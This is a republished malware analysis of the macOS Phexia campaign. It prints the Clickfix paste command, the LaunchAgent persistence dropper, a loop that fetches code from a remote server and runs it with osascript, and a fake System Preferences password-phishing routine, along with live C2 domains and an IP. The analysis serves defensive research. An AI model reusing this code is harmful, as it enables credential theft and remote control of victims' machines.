cd /news/ai-safety/malware-insights-macos-phexia-campai… · home topics ai-safety article
[ARTICLE · art-41151] src=cookie.engineer ↗ pub= topic=ai-safety verified=true sentiment=↓ negative

Malware Insights: macOS Phexia Campaign

A new macOS malware campaign dubbed Phexia uses compromised websites to trick users into pasting and executing malicious commands in Terminal, deploying a persistent backdoor that targets crypto wallets, browsers, and Telegram data. The attack chain involves a Clickfix payload, a LaunchAgent persistence mechanism, and a control server connection loop that fetches new domains via a Telegram bot. The campaign is linked to APT28, though unconfirmed by third parties.

read7 min views1 publishedJun 26, 2026
Malware Insights: macOS Phexia Campaign
Image: source

Malware Insights : MacOS Phexia Campaign #

I got nerdsniped today. Some compromised website wanted me to execute a command in the Terminal.app

because I've set my User-Agent to a randomized profile and it was a MacOS Browser.

Overview

  • CNC domains : x2db.cx

,a5db.ch

,a6b6.biz

,kfcnevkusno.one

  • CNC bots : t.me/neverfakebot

  • CNC networks : Cloudflare

  • Target OS : MacOS

  • Target Apps : (All) crypto wallets, (All) Browsers, Password extensions, Keychains, Browser Cookies, Browser History, Telegram Auth Data

  • Botnet Operator : (Unconfirmed by third-parties) APT28

Stage 1 : Clickfix Attack

A compromised website asks you to execute a Clickfix payload via Cmd + C

and Cmd + V

right into the Terminal.app

, having copied the down's script command already into your clipboard.

The initial payload for the down was obfuscated with base64

encoding and does a curl request

to download and execute an osascript

file which caught my curiosity.

osascript -e "$(echo "... base64encoded ..." | base64 -d)"

Dropper Source Code

do shell script "
SCRIPT_PATH=\"$HOME/Library/pwvrskwjcwvtcrjr\";
mkdir -p \"$HOME/Library/LaunchAgents\";
cat > \"$HOME/Library/LaunchAgents/com.components.pwvrskwjcwvtcrjr.plist\" <<END_PLIST
<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
<plist version=\"1.0\">
  <dict>
    <key>Label</key>
    <string>com.launch.pwvrskwjcwvtcrjr</string>
    <key>ProgramArguments</key>
    <array>
      <string>/usr/bin/osascript</string>
      <string>$SCRIPT_PATH</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
  </dict>
</plist>
END_PLIST
"
do shell script "echo \"...base64encoded_implant_down...\" | base64 -d > ~/Library/pwvrskwjcwvtcrjr"
do shell script "launchctl unload ~/Library/LaunchAgents/com.components.pwvrskwjcwvtcrjr.plist 2>/dev/null"
do shell script "launchctl load ~/Library/LaunchAgents/com.components.pwvrskwjcwvtcrjr.plist"

Dropper Summary

  • Installs a RunAtLoad

configuration to~Library/LaunchAgents/com.components.<campaign-identifier>.plist

  • Installs a LaunchAgent via launchctl load <campaign-identifier>

  • Downloads and executes second stage payload to ~/Library/<campaign-identifier>

Stage 2 : Control Server Connection and Implant Down Loop

The CNC connection loop is implemented with another osascript

which also requests new domains via a Telegram Bot that is owned by the Botnet operator.

Down

property domainsList : {"example.com", "another-example.com", "etc-pp.com" }
property activeDomain: ""
property btxid: "campaign-identifier"

on setDomain()
    repeat with d in domainsList
        set domain to (contents of d)
        set urlresult to "http://" & domain & "/api.php?check"
        set actualurl to "http://" & domain & "/"
        try
            set response to do shell script "/usr/bin/curl -s --connect-timeout 5 --max-time 10 " & quoted form of urlresult
            if response is "success" then
                set activeDomain to actualurl
                return true
            end if
        end try
    end repeat
    try
        set domain to do shell script "curl -s --connect-timeout 5 --max-time 10 https://t.me/botnet-bot-with-statusmessage | sed -n 's/.*<span dir=\"auto\">\\([^<]*\\)<\\/span>.*/\\1/p'"
        set urlresult to "http://" & domain & "/api.php?check"
        set actualurl to "http://" & domain & "/"
        set response to do shell script "curl -s --connect-timeout 5 --max-time 10 " & quoted form of urlresult
        if response is "success" then
            set activeDomain to actualurl
            return true
        end if
    end try
    return false
end setDomain

if setDomain() then
    set startsrc to "curl -s " & quoted form of (activeDomain & "get.php?txid=" & btxid) & " | osascript"
    do shell script startsrc
end if

Down Summary

  • Checks the Botnet Operator owned Telegram Bot for changed CNC server domains
  • Requests /api.php?check

and/get.php?txid=...

to download malware implant - Downloads and executes third stage malware implant

Stage 3 : Malware Implant

The Malware Implant is a little more sophisticated than initially expected.

UUID Fingerprinting

on getUUID()
    set methods to {"ioreg -rd1 -c IOPlatformExpertDevice | awk -F'\"' '/IOPlatformUUID/{print $4}'", "ioreg -rd1 -c IOPlatformExpertDevice | grep -o '\"IOPlatformUUID\"[^,]*' | cut -d'\"' -f4", "system_profiler SPHardwareDataType 2>/dev/null | awk '/UUID/{print $NF}'", "system_profiler SPHardwareDataType 2>/dev/null | grep -i 'uuid' | awk '{print $NF}'"}
    repeat with cmd in methods
        try
            set uuid to do shell script cmd
            if length of uuid is 36 then
                if uuid contains "-" then
                    return uuid
                end if
            end if
        end try
    end repeat
end getUUID

OS Credentials

on getUsername()
    set methods to {"whoami", "id -un", "echo $USER", "logname"}
    repeat with cmd in methods
        try
            set username to do shell script cmd
            if username is not "" then return username
        end try
    end repeat
    return "administrator"
end getUsername

on checkPassword(username, enteredpwd)
    try
        set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of enteredpwd
        if result is not equal to "" then
            return false
        else
            return true
        end if
    on error
        return false
    end try
end checkPassword

on getPassword(username)
    set passPhraseFilePath to POSIX path of (path to home folder) & ".passphrase"
    if checkPassword(username, "") then
        do shell script "echo nopassphrase > " & quoted form of passPhraseFilePath
        return true
    else
        repeat
            try
                set result to display dialog "Enter password:" default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
                set enteredpwd to text returned of result
                if checkPassword(username, enteredpwd) then
                    do shell script "echo " & quoted form of enteredpwd & " > " & quoted form of passPhraseFilePath
                    return true
                end if
            end try
        end repeat
    end if
end getPassword

CNC Domain Update Mechanism

The CNC domain update mechanism is essentially the same as the Down Stage is using, therefore nothing different here.

CNC Auth and Connect Loop

The CNC auth and connect loop uses tccutil reset All

to reset the permissions for the current user in case it was blocked. All permission dialogs for all Apps will popup again to hide the malicious System Preferences

titled dialog and the administrator password request, which is quite interesting as a technique to confuse the targeted victim user.

It does a request to api.php?connect&username=...

to find out the registration status.

  • If response is newconnect

it resets all permissions for the current user. - If response is connected

it proceeds to download another implant based on task API.

CNC Task Implant Loop

Every 60 seconds

the Malware Implant tries to download a new task from the CNC server. The download itself is done via curl

or via injected sh

script and obfuscated again using base64

encoding. The final downloaded task payload is an osascript

file containing the Phexia Stealer or other payloads.

Malware Implant Summary

  • CNC domain update mechanism UUID

fingerprinting viaioreg -rd1 -c IOPlatformExpertDevice

Username

gathering viawhoami

,id -un

, orlogname

Password

gathering withSystem Preferences

title in dialog, keeping dialog alive for150

retries, essentially making it uncloseable.- Downloads and executes fourth stage task implant every 60 seconds

Stage 4 : Phexia Stealer

The final task implant is a Phexia Stealer. The code is written again in osascript

and targets a lot of different MacOS Browsers, Browser Extensions, Wallets, Password Managers, Keychains etc.

As this too much for this article on its own, you can read about more details on the Phexia Stealer malware in a separate article :

Botnet Command and Control Server

The Phexia Campaign's botnet is hosted always on vdsina.com

VPS servers. Initially the Botnet Operator was using Russian ASNs from Azalea Networks

, before they migrated towards Cloudflare

for all their domains to mask their identity.

The CNC server itself is using Apache 2.4.58

on a standard Ubuntu

:

> curl -v http://146.103.98.59/
*   Trying 146.103.98.59:80...
* Established connection to 146.103.98.59 (146.103.98.59 port 80) from 192.168.2.32 port 45944 
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 146.103.98.59
> User-Agent: curl/8.18.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Sun, 15 Mar 2026 01:14:29 GMT
< Server: Apache/2.4.58 (Ubuntu)
< Last-Modified: Tue, 03 Mar 2026 11:38:38 GMT
< ETag: "0-64c1d24f40b80"
< Accept-Ranges: bytes
< Content-Length: 0
< Content-Type: text/html
< 
* Connection #0 to host 146.103.98.59:80 left intact

Though the server has a lot of open ports. Probably using portspoof

or a similar tool to create those, because none of the ports are reacting even when I rotate my victim machines.

> nmap -P0 146.103.98.59
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-15 02:14 +0100
Nmap scan report for v678355.hosted-by-vdsina.com (146.103.98.59)
Host is up (0.013s latency).
Not shown: 985 closed tcp ports (conn-refused)
PORT     STATE    SERVICE
20/tcp   filtered ftp-data
21/tcp   filtered ftp
22/tcp   open     ssh
23/tcp   filtered telnet
25/tcp   filtered smtp
80/tcp   open     http
135/tcp  filtered msrpc
139/tcp  filtered netbios-ssn
161/tcp  filtered snmp
427/tcp  filtered svrloc
445/tcp  filtered microsoft-ds
6666/tcp filtered irc
6667/tcp filtered irc
6668/tcp filtered irc
6669/tcp filtered irc

Links to Amatera Botnet and APT28

The Abuse Database shows a lot of Amatera activity coming from the same networks :

A lot of hosts in the former vdsina.ru

(RU) and now rebranded vdsina.com

(UAE) networks are using Amatera stealer signatures.

It's likely that this is a Russian operation which is part of APT28. Amatera campaigns in the past were focused a lot on Ukrainian networks and websites, but it's unclear at this point whether Phexia stealer campaigns are a part of the same Botnet or whether it's part of the now (post-botnet-takedown in February 2023) restructured APT29 initiative.

As their CNC is using PHP it's just a matter of time until I find an exploit : )

── more in #ai-safety 4 stories · sorted by recency
── more on @apt28 3 stories trending now
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain — perfect for shipping the agent you just read about.

$git push zahid main
Live at https://your-agent.zahid.host
Get free account → Pricing
from €0/mo · no card required
LIVE [news/malware-insights-mac…] indexed:0 read:7min 2026-06-26 ·